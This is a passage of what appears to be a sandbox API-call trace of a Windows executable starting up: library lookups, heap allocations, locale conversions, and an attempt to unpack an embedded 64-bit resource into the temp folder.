0x76e24d28 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0113.693] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0113.785] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0113.786] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0113.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3bc) returned 0x5870a0 [0113.787] GetCurrentThreadId () returned 0xf30 [0113.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x587468 [0113.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x587488 [0113.787] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x155cdd7a, hStdError=0x0)) [0113.787] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0113.787] GetFileType (hFile=0x3) returned 0x2 [0113.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.788] GetFileType (hFile=0x7) returned 0x2 [0113.788] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0113.788] GetFileType (hFile=0xb) returned 0x2 [0113.788] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0113.788] GetEnvironmentStringsW () returned 0x587c90* [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb88) returned 0x588820 [0113.789] FreeEnvironmentStringsW (penv=0x587c90) returned 1 [0113.789] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x94) returned 0x587c90 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa0) returned 0x587d30 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x584dd0 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x587dd8 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x587e50 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x57f900 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x62) returned 0x587ec8 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x587f38 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x587f70 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x587fc0 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x587ff8 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x586a70 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x588028 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x57f980 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588080 [0113.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5880b8 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x586a98 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd2) returned 0x5880f0 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x5881d0 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x588258 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x584e18 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x90) returned 0x588298 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588330 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588360 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x588398 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x5883d8 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588428 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584e60 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x588488 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x82) returned 0x5884a8 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x588538 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x586ac0 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x588570 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5885a8 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588608 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x588668 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584ea8 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5886a0 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588700 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588730 [0113.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x8c) returned 0x588768 [0113.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588820 | out: hHeap=0x570000) returned 1 [0113.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x588800 [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.791] GetACP () returned 0x4e4 [0113.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x589008 [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.791] IsValidCodePage (CodePage=0x4e4) returned 1 [0113.791] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0113.791] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.791] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0113.791] GetLastError () returned 0x0 [0113.791] SetLastError (dwErrCode=0x0) [0113.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.792] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0113.792] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0113.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿêÜ\\\x15äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0113.792] GetLastError () returned 0x0 [0113.792] SetLastError (dwErrCode=0x0) [0113.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.792] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0113.792] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0113.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿêÜ\\\x15äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0113.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x80) returned 0x589230 [0113.792] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0113.792] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0113.792] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x589230) returned 0x80 [0113.793] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0113.793] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0113.793] GetCurrentProcess () returned 0xffffffff [0113.793] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0113.793] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0113.793] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0113.793] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0113.793] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0113.793] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0113.793] LockResource (hResData=0x43c648) returned 0x43c648 [0113.793] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x589700 [0113.793] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.794] GetLastError () returned 0x20 [0113.794] GetLastError () returned 0x20 [0113.794] SetLastError (dwErrCode=0x20) [0113.794] GetLastError () returned 0x20 [0113.794] SetLastError 